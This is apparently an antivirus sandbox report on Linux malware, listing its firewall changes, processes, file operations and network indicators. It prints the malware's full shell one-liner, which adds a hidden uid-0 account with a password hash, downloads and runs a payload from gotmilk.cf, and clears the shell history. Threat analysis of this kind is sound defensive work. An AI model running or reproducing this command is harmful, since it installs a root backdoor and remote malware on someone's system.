Technical Information
Malicious functions:
Modifies firewall settings:
- /sbin/iptables -N TN
- /sbin/iptables -A TN -s -j ACCEPT
- /sbin/iptables -A TN -p tcp -m tcp --dport 23 -j REJECT
- /sbin/iptables -I INPUT -j TN
Launches processes:
- sh -c IPT=/sbin/iptables;$IPT -N TN;$IPT -A TN -s -j ACCEPT;$IPT -A TN -p tcp -m tcp --dport 23 -j REJECT;$IPT -I INPUT -j TN;$IPT-save; echo 'nameserver 4.2.2.2' > /tmp/resolv.conf;echo 'namserver 208.67.222.222' >> /tmp/resolv.conf ;useradd -u 0 -g 0 -o -l -d /root -N -M -p '$1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1' VM >/dev/null 2>&1 ; cd /dev ; wget http://gotmilk.cf/p.tar ; curl -O http://gotmilk.cf/p.tar ; tar -xvf p.tar; cd .a; chmod 777 *; ./a; clear;history -c; clear;history -w
- /sbin/iptables-save
- useradd -u 0 -g 0 -o -l -d /root -N -M -p $1$OwJj0Fjv$RmdaYLph3xpxhxxfPBe8S1 VM
- nscd -i passwd
- nscd -i group
- wget http://gotmilk.cf/p.tar
Performs operations with the file system:
Modifies file access rights:
- /etc/passwd+
- /etc/shadow+
- /etc/subuid+
- /etc/subgid+
Creates folders:
- /var/bin
Creates symlinks:
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
- /etc/shadow.lock
Creates or modifies files:
- /tmp/resolv.conf
- /etc/.pwd.lock
- /etc/passwd.702
- /etc/group.702
- /etc/gshadow.702
- /etc/subuid.702
- /etc/subgid.702
- /etc/shadow.702
- /etc/passwd-
- /etc/passwd+
- /etc/shadow-
- /etc/shadow+
- /etc/subuid-
- /etc/subuid+
- /etc/subgid-
- /etc/subgid+
Deletes files:
- /etc/passwd.702
- /etc/group.702
- /etc/gshadow.702
- /etc/subuid.702
- /etc/subgid.702
- /etc/shadow.702
- /etc/shadow.lock
- /etc/passwd.lock
- /etc/group.lock
- /etc/gshadow.lock
- /etc/subuid.lock
- /etc/subgid.lock
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
HTTP GET requests:
- go####k.cf/p.tar
DNS ASK:
- go##ilk.cf
